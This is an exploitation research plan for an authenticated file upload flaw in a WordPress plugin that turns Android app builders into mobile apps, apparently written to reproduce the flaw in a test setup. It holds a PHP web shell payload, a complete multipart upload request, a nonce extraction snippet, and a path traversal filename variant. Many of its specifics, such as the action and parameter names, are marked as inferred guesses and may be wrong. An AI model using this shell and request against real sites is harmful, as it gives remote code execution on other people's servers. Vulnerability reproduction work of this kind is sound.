Research Plan: CVE-2026-27067 Arbitrary File Upload

1. Vulnerability Summary

The Mobile App Editor – WordPress to Android App Builder plugin (versions <= 1.3.1) contains an authenticated arbitrary file upload vulnerability. The flaw exists because the plugin provides functionality to upload assets (likely icons, splash screens, or configuration files) for the mobile app generation process but fails to implement server-side file type validation. An attacker with at least Editor-level privileges can upload a malicious PHP file and execute it to achieve Remote Code Execution (RCE).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php (inferred, as is standard for WordPress plugin asset management).
• AJAX Action: Likely mae_upload_image, mobile_app_editor_upload, or mae_save_settings (inferred).
• HTTP Method: POST (Multipart/form-data).
• Parameter: A file parameter within $_FILES, such as file, image, or app_icon (inferred).
• Authentication: Required (Editor or higher).
• Preconditions: The attacker must have a valid session cookie for a user with the Editor role.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX handler via add_action('wp_ajax_mae_upload_...', '...') in the main plugin file or an admin controller.
2. Capability Check: The handler likely checks current_user_can('edit_posts') or current_user_can('manage_options'). Since the vulnerability is rated for Editors, the check is either missing or correctly allows Editors.
3. Missing Validation: The code retrieves the file from the $_FILES superglobal. It fails to call wp_check_filetype() or use the mimes filter in wp_handle_upload().
4. Sink: The file is moved to the uploads directory using move_uploaded_file() or wp_handle_upload().
5. Output: The plugin returns the URL of the uploaded file in the AJAX response.

4. Nonce Acquisition Strategy

This plugin likely uses nonces to protect its AJAX actions.

1. Identify Script Localization: Search the codebase for wp_localize_script.
   • Grep Command: grep -rn "wp_localize_script" .
2. Identify JS Variable: Look for the object name used in localization (e.g., mae_obj, mobile_app_editor_vars).
3. Setup Page: The mobile app editor interface is likely a custom admin page.
   • Identification: grep -rn "add_menu_page" .
4. Extraction Procedure:
   • Navigate to the plugin's settings/editor page: wp-admin/admin.php?page=mobile-app-editor (inferred slug).
   • Execute browser_eval to extract the nonce:

     // Example based on common naming conventions
     window.mae_obj?.nonce || window.mae_vars?.security
     

5. Exploitation Strategy

Step 1: Discovery

Since source code is not provided, the first step is to identify the exact AJAX action and parameter.

• grep -rn "wp_ajax" . to find the action string.
• grep -rn "\$_FILES" . to find the parameter name.

Step 2: Authentication

Log in as an Editor user to obtain valid session cookies.

Step 3: Payload Preparation

Create a simple PHP web shell:

<?php echo "VULN_CHECK: "; system($_GET['cmd']); ?>

Step 4: Execution

Send a multipart POST request to admin-ajax.php.

Request Template (Inferred):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Cookie: [Editor Cookies]

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

mae_upload_image
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="nonce"

[EXTRACTED_NONCE]
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php echo "VULN_CHECK: "; system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

Step 5: Verification of Path

The response should contain the path to the uploaded file. If not, check /wp-content/uploads/ or a plugin-specific subdirectory like /wp-content/uploads/mobile-app-editor/.

6. Test Data Setup

1. Create User: wp user create attacker attacker@example.com --role=editor --user_pass=password
2. Plugin Setup: Install and activate mobile-app-editor.
3. Identify URL: Locate the admin menu slug for the plugin: wp plugin get mobile-app-editor --field=name.

7. Expected Results

• The server accepts the .php file and returns an HTTP 200 response.
• The response body contains a JSON object or string indicating the file location (e.g., {"url": "http://.../wp-content/uploads/shell.php"}).
• Accessing the URL .../shell.php?cmd=whoami returns VULN_CHECK: www-data.

8. Verification Steps

1. Confirm File Existence: wp eval "echo file_exists(wp_upload_dir()['path'] . '/shell.php') ? 'Found' : 'Missing';"
2. Check Capability: Verify if a Contributor can perform the same action (to see if the severity is higher than reported).
3. Cleanup: wp eval "unlink(wp_upload_dir()['path'] . '/shell.php');"

9. Alternative Approaches

• Settings Save Hook: If a direct "upload" action isn't found, look for a general "save settings" action that handles logo/icon uploads as part of a larger configuration object.
• Media Library Integration: Check if the plugin uses wp_ajax_query_attachments but adds a custom, insecure upload handler as a wrapper.
• Path Traversal: If the filename is used directly in the destination path, attempt to upload to the root directory using filename="../../../shell.php".